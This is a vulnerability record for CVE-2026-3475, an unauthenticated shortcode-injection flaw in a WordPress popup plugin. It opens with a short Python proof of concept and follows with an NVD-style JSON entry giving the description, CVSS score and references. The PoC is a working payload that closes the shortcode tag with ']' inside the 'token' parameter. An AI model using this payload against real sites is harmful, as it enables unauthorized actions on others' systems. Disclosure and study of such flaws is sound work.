CVE-2026-3475

import requests # CVE-2026-3475 PoC - Unauthenticated Arbitrary Shortcode Execution # Target: WordPress site with Instant Popup Builder plugin <= 1.1.7 target_url = "http://target-wordpress-site.com/" # Example 1: Execute [wp_admin] shortcode if registered (check available shortcodes first) payload = "]" # Close the outer shortcode tag prematurely shortcode_injection = "[any_registered_shortcode_here]" # Inject arbitrary shortcode params = { 'token': payload + shortcode_injection, 'email': '[email protected]' } # Trigger the vulnerable endpoint response = requests.get(target_url, params=params) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # Example 2: More complex payload to execute admin shortcode payload2 = "]\[wp_admin]" # Close outer tag and open new shortcode params2 = { 'token': payload2, 'email': '[email protected]' } response2 = requests.get(target_url, params=params2) print(f"Exploit Response: {response2.text[:500]}")

{"cve": {"id": "CVE-2026-3475", "sourceIdentifier": "[email protected]", "published": "2026-03-19T08:16:19.327", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Instant Popup Builder plugin for WordPress is vulnerable to Unauthenticated Arbitrary Shortcode Execution in all versions up to and including 1.1.7. This is due to the handle_email_verification_page() function constructing a shortcode string from user-supplied GET parameters (token, email) and passing it to do_shortcode() without properly sanitizing square bracket characters, combined with missing authorization checks on the init hook. While sanitize_text_field() and esc_attr() are applied, neither function strips or escapes square bracket characters ([ and ]). WordPress's shortcode regex uses [^\\]\\/]* to match content inside shortcode tags, meaning a ] character in the token value prematurely closes the shortcode tag. This makes it possible for unauthenticated attackers to inject and execute arbitrary registered shortcodes by crafting a malicious token parameter containing ] followed by arbitrary shortcode syntax."}, {"lang": "es", "value": "El plugin Instant Popup Builder para WordPress es vulnerable a la Ejecución Arbitraria de Shortcode No Autenticada en todas las versiones hasta la 1.1.7 inclusive. Esto se debe a que la función handle_email_verification_page() construye una cadena de shortcode a partir de parámetros GET proporcionados por el usuario (token, email) y la pasa a do_shortcode() sin sanear correctamente los caracteres de corchete, combinado con la falta de comprobaciones de autorización en el hook init. Aunque se aplican sanitize_text_field() y esc_attr(), ninguna de las funciones elimina o escapa los caracteres de corchete ([ y ]). La expresión regular de shortcode de WordPress utiliza [^\\]\\/]* para hacer coincidir el contenido dentro de las etiquetas de shortcode, lo que significa que un carácter ] en el valor del token cierra prematuramente la etiqueta de shortcode. Esto hace posible que atacantes no autenticados inyecten y ejecuten shortcodes registrados arbitrarios al crear un parámetro de token malicioso que contenga ] seguido de sintaxis de shortcode arbitraria."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/instant-popup-builder/tags/1.1.6/public/class-instant-popup-subscription-public.php#L1761", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/instant-popup-builder/tags/1.1.6/public/class-instant-popup-subscription-public.php#L1772", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/instant-popup-builder/trunk/public/class-instant-popup-subscription-public.php#L1761", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/instant-popup-builder/trunk/public/class-instant-popup-subscription-public.php#L1772", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3477334%40instant-popup-builder&new=3477334%40instant-popup-builder&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/979962e3-9052-4dc9-94d0-3ec8de3d5460?source=cve", "source": "[email protected]"}]}}